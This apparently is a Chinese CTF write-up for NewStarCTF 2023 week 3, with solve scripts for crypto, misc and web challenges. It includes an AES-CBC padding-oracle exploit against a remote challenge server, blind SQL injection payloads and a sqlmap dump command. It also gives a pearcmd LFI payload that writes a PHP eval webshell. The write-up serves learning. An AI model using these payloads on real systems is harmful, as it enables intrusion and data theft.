WEEK3

NewStarCTF2023,或者应该叫OldBirdCTF🤣本文为第三周部分题目的题解,可能与官方wp有出入,请见谅。

这周逐渐感受到什么叫大三被project包围

只能抽空做个几题

Crypto

knapsack

最基础的Merkle–Hellman背包加密

直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# sagemath
import binascii
# open the public key and strip the spaces so we have a decent array
fileKey = open("pubkey.txt", 'rb')
pubKey = fileKey.read().decode().replace(' ', '').replace('L', '').strip('[]').split(',')
nbit = len(pubKey)
# open the encoded message
fileEnc = open("enc.txt", 'rb')
encoded = fileEnc.read().decode().replace('L', '')
print("start")
# create a large matrix of 0's (dimensions are public key length +1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
# fill in the identity matrix
for i in range(nbit):
A[i, i] = 1
# replace the bottom row with your public key
for i in range(nbit):
A[i, nbit] = pubKey[i]
# last element is the encoded message
A[nbit, nbit] = -int(encoded)

res = A.LLL()
for i in range(0, nbit + 1):
# print solution
M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag:
print(i, M)
M = ''.join(str(j) for j in M)
# remove the last bit
M = M[:-1]
M = hex(int(M, 2))[2:-1]
print(M)

得到flag

Rabin’s RSA

在线网站大数分解得到p、q

使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import gmpy2

def rabin_decrypt(c, p, q, e=2):
n = p * q
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
yp = gmpy2.invert(p, q)
yq = gmpy2.invert(q, p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
return (r, rr, s, ss)


c = 20442989381348880630046435751193745753
p = 13934102561950901579
q =14450452739004884887
m = rabin_decrypt(c, p, q)
for i in range(4):
try:
print(bytes.fromhex(hex(m[i])[2:]))
except:
pass

得到flag

Door

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from secret import flag
import string
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from os import urandom
import re

key = urandom(16)

menu = '''
[+] WatchDog Security System
[+] Copyright (c) 1010 by School of Natural Philosophy

please select your option:
1. Unlock Secret Entry
2. Help
3. Exit
'''

valid_code = [1033,3329,4431,5052]

auth_context_pattern = re.compile(r'^SoNP#[0-9]{4}$')

def auth_context_checker(ctx : bytes):
for c in ctx:
if chr(c) not in string.printable:
return False
if auth_context_pattern.match(ctx.decode()) : return True

return False

def unlock():
token = bytes.fromhex(input('Enter your token > '))
auth_code = bytes.fromhex(input('Enter your authentication code > '))

cipher = AES.new(key, AES.MODE_CBC,token)

check = cipher.decrypt(auth_code)
try:

msg = unpad(check, 16)
if auth_context_checker(msg) and int(msg[5:].decode()) in valid_code:
print('door unlocked, here is your reward')
print(flag)
else:
print('get out')

except Exception as e:
print('oops, something wrong')
print(e)
def help():
print('To unlock the door, please enter your token and authentication code.')
while True:
print(menu)
opt = input('> ')
try:
opt = int(opt)
if opt == 1:
unlock()
elif opt == 2:
help()
elif opt == 3:
break
else:
print('invalid option')
except:
print('oh no, something wrong!')

解密出来的check需要满足SoNP#+4个数字的格式

每次连接都是用的同一个key

由于有显示报错信息,所以可以使用padding oracle攻击

先随机生成一个16位密文C2

然后用padding oracle的方法试出解密后的中间状态I2

然后将中间状态与最后带padding的正确明文P2异或得到IV

解题exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import pad

authentication = 'r1ckissohandsome'
check = b'SoNP#1033'
conn = remote('node4.buuoj.cn', 27683)
def aes_padding_oracle(conn, cipher):
mid = b""
for i in range(16):
for j in range(256):
cur_iv = (15 - i) * b'\x00' + bytes([j]) + strxor(mid, bytes([i + 1] * (i)))
assert len(cur_iv) == 16
conn.recvuntil(b"> ")
conn.sendline(b'1')
conn.recvuntil(b"> ")
conn.sendline(cur_iv.hex().encode())
conn.recvuntil(b"> ")
conn.sendline(authentication.encode().hex().encode())
if b"something wrong" in conn.recvline():
continue
else:
print(b"find it", cur_iv)
mid = bytes([j^(i+1)]) + mid
break
if len(mid) != i + 1:
print(b"not found!!!!!!!!!!!!")
print(b"mid is ", mid)
return mid
# guess block 1
iv = hex(int(aes_padding_oracle(conn,authentication).hex(),16)^int(pad(check,16).hex(),16)).encode()[2:]
print(iv)
conn.recvuntil(b"> ")
conn.sendline(b'1')
conn.recvuntil(b"> ")
conn.sendline(iv)
conn.recvuntil(b"> ")
conn.sendline(authentication.encode().hex().encode())
conn.interactive()

得到flag

小明的密码题

8位未知,很显然不能爆破

那么就是明文高位已知攻击

exp脚本如下

由于位数泄露的比较多,不太需要调参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#Sage
import codecs
from Crypto.Util.number import *
n = 131889193322687215946601811511407251196213571687093913054335139712633125177496800529685285401802802683116451016274353008428347997732857844896393358010946452397522017632024075459908859131965234835870443110233375074265933004741459359128684375786221535003839961829770182916778717973782408036072622166388614214899
e = 5
c = 11188201757361363141578235564807411583085091933389381887827791551369738717117549969067660372214366275040055647621817803877495473068767571465521881010707873686036336475554105314475193676388608812872218943728455841652208711802376453034141883236142677345880594246879967378770573385522326039206400578260353074379
flag = b'sm4ll_r00ts_is_brilliant#'

mbar = int(codecs.encode(flag, 'hex'), 16) <<64
PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c
f = f.monic()
x0 = f.small_roots()[0]
print(long_to_bytes(mbar + x0))

得到flag

babyrandom

基本上5组以上的密文就能破解lcg线性同余生成器

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from functools import reduce
from math import gcd
from Crypto.Util.number import *
from pwn import *
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)


# N[i+1] = (A*N[i]+B) % M
# A,B,N均未知
sequence = []
conn = remote('node4.buuoj.cn', 28596)
for i in range(10):
conn.recvuntil(b'> ')
conn.sendline(b'2')
sequence.append(int(conn.recvline(keepends=False)))
print(sequence)
modulus, multiplier, increment = crack_unknown_modulus(sequence)
print('A = '+str(multiplier))
print('B = '+str(increment))
print('N = '+str(modulus))
MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] #逆元计算
ani=MMI(multiplier,modulus)
flag = (ani*(sequence[0]-increment))%modulus
print(long_to_bytes(flag))

得到flag

eazy_crt

这题一开始搞错了思路,跑去爆破r1,r3这些随机数去了

后面才意识到题目的源码是一个RSA_CRT签名的加密过程

同时在加密过程中计算Sp时出现错误

此时应该考虑RSA CRT 错误攻击(fault attack)

如果我们能够知道e、n、要签名的明文m以及错误的签名S_,就能实施攻击分解n

原理如下:

如果在计算部分签名$S{p} $和$S{q} $时没有错误,加密过程一切正常,则在产生的最终签名$S$有如下性质

$\begin{cases}s^e \equiv m [p]\s^e \equiv m [q]\end{cases} \Rightarrow \begin{cases}s^e - m\equiv 0 [p]\s^e - m \equiv 0 [q]\end{cases} \Rightarrow \begin{cases}s^e - m= k_1p \s^e - m = k_2q\end{cases} \Rightarrow s^e - m=k_3pq$

$p$和$q$为$S^e-m$的因数,又因为$n=pq$,则$gcd(S^e - m, n) = n$

如果计算部分钱签名,例如计算$S_p$时出错,则

$\begin{cases}s^e \not\equiv m [p]\s^e \equiv m [q]\end{cases} \Rightarrow \begin{cases}s^e - m\not\equiv 0 [p]\s^e - m \equiv 0 [q]\end{cases} \Rightarrow \begin{cases}s^e - m\neq k_1p \s^e - m = k_2q\end{cases} \Rightarrow s^e - m=k_3q$

此时便可利用$gcd(S^e - m, n) = q$计算出$q$

下面是exp脚本

1
2
3
4
5
6
7
8
9
10
import gmpy2
from hashlib import *
S_ = 5510086561842250138908875342533294108331951659612671466695801343686972919443402163401521040457640602756777910081639191753436122171756174730531385913865951826869995984787102439679170684422717808771260217541439878677750508065703064081375473845405916674327932798153100574555933448570618732842365795738120491532398081467312017203933413296779070611024124965772787502242499016884537233028947865288037718074352448773759363242111080540630360902388540661831992776707600133253329779003707938065020121645530719140954554800986771763343191398210100325971573069812381693089384221441735278736889673500218274673196333806222266248844379127652366
S = 11422623501509574650959962952004985925543723972567988534433510888436662069119800576321679344425052011563473005275801787271861671898318523033415642388512047035650991047953319601346912194462122313366888126100093635969476696871403883687946617575837061694813669883782221006701704487938500886952347003631626326127154081787016692856628561200386941683756397734100698520464199249811238013146899352390453500132666840606585760306723894654933077094375810666168464835756607377998959675132305971721109661644231613426322675350973373434138686086023265910883509514575554429502214217460059521619625693750938117427832654792355808803321
n = 25505131259827344749407187081729819350996141100990518281765117676936124636084125400315049858697199427401342785804654120926568235761577895862889807660442415521870277729420875825744007886870384790308986342360349597392841568418588521694478184632631896474390291958350681472768485356865513284619086754437723630874827593280089682939629265210875169009057935264259019861755270570945614034505771690412042781423771110441028258110022746603974882162934979726300741541857444013708508946471384525030286343828680432038605288717842755346907256658746733811881247992925881684393431852248253701825024590345480994598867741811599162649467
m=2180240512138982889935733758776025289492848542072999905411903898302427496814336475436552230920326681809745778470583226987
e = 65537
q = gmpy2.gcd(pow(S_, e, n)-m, n)
p=n//q
print('flag{' + md5(str(p).encode()).hexdigest() + '}')

得到flag

Misc

阳光开朗大男孩

题目如下

1
2
3
4
# secret.txt
法治自由公正爱国公正敬业法治和谐平等友善敬业法治富强公正民主法治和谐法治和谐法治法治公正友善敬业法治文明公正自由平等诚信平等公正敬业法治和谐平等友善敬业法治和谐和谐富强和谐富强和谐富强平等友善敬业公正爱国和谐自由法治文明公正自由平等友善敬业法治富强和谐自由法治和谐法治和谐法治和谐法治法治和谐富强法治文明公正自由公正自由公正自由公正自由
# flag.txt
🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🌊⏩🔬🚹✉☀☺🚹🐅🎤🛩💵🌿🌊🚰😊🌊✉🐎❓🎈🌉👑🎅📮🥋👣🕹🚪☀🔄🚫🐍❓🐍😊☀🔬🍍🤣🎈🥋🙃👑🌏🐎🌊📮😂💵🏹👉❓😇🍴💧☺💵😁☃👉🎅👁☂🌿👉🍴🌪👌🍴🍵🖐😇🍍😀🗒🗒

很显然,一个是核心价值观编码,另一个是base100

解码secret.txt得到this_password_is_s000_h4rd_p4sssw0rdddd

该base100使用在线解密网站解密不了

尝试寻找带密码的emoji解密,密码为s000_h4rd_p4sssw0rdddd

emoji-aes (aghorler.github.io)

2-分析

分析前面的http数据包,可以发现攻击者正在扫描目录

搜索username字符串

找到登录名best_admin

搜索system可以找到上传的远程命令执行漏洞,webshell文件为wh1t3g0d.php,而漏洞文件为index.php

best_admin_index.php_wh1t3g0d.php

flag为flag{4069afd7089f7363198d899385ad688b}

大怨种

由于是gif文件,丢进stegsolve分解帧

得到一个二维码以及一张只有部分的图片

查阅资料后发现这不是二维码,而是汉信码

键盘侠

首先过滤指定USB流量另存为单独流量包usb,pcapng

使用tshark命令提取USB指定的4个字节

tshark.exe -r usb.pcapng -T fields -e usb.capdata > usbdata.txt

得到的数据如下,中间没有冒号,需要使用脚本转换一下

1
2
3
4
5
6
7
8
with open('usbdata.txt', 'r') as file:
lines = file.readlines()

with open('newusbdata.txt', 'w') as file:
for line in lines:
line = line.strip()
grouped_line = ':'.join([line[i:i + 2] for i in range(0, len(line), 2)])
file.write(grouped_line + '\n')

编写python脚本将提取出来的所有usbhid.data转化为敲击内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('newusbdata.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))

得到flag

滴滴滴

打开音频听了下,应该是DTMF拨号音

可以使用工具dtmf2num来将音频转化为拨号数字

下载链接:http://aluigi.altervista.org/mytoolz/dtmf2num.zip

或者使用在线网站:Detect DTMF Tones (dialabc.com)

得到一串数字52563319066

而另一个附件既然是jpg文件,那就尝试用steghide分离下

很自然的想到用刚刚得到的数字作为密码

得到flag

Web

medium_sql

测试TMP0929' AND 1=1 -- qwe回显正常,说明存在注入点

判断字段数,直到TMP0929' ORDER BY 6 -- qwe无回显

说明有5个字段

尝试联合注入时回显no union,说明union被过滤

尝试盲注

首先是数据库名长度

TMP0919' AND LENGTH(DATABASE())>=4 -- QWE时显示id not exists,说明长度为3

开始爆库名

TMP0919' AND SUBSTR(DATABASE(),1,1)='a'-- QWE

爆出数据库名为ctf

开始爆表名

TMP0919' AND SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='ctf' LIMIT 0,1),1,1)='a' -- QWE

除了grades,还爆出一个here_is_flag表

接下来的任务交给sqlmap就行了

python sqlmap.py -u http://f9021176-79c7-4df7-93b8-05d58756a8b6.node4.buuoj.cn:81/?id=TMP0919 --technique B -D ctf -T here_is_flag -C flag --dump --fresh-queries --delay=1

得到flag

include 🍐

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

`?file=phpinfo查看phpinfo

提示查看argc和argv寄存器

接下来如何利用这两个全局变量可以参考文章register_argc_argv与include to RCE的巧妙组合 - Longlone’s Blog

利用pear上传一句话木马

?file=pearcmd&+config-create+/<?=eval($_POST[1])?>+/tmp/evil.php

使用蚁剑连接

得到flag

image-20231011155731961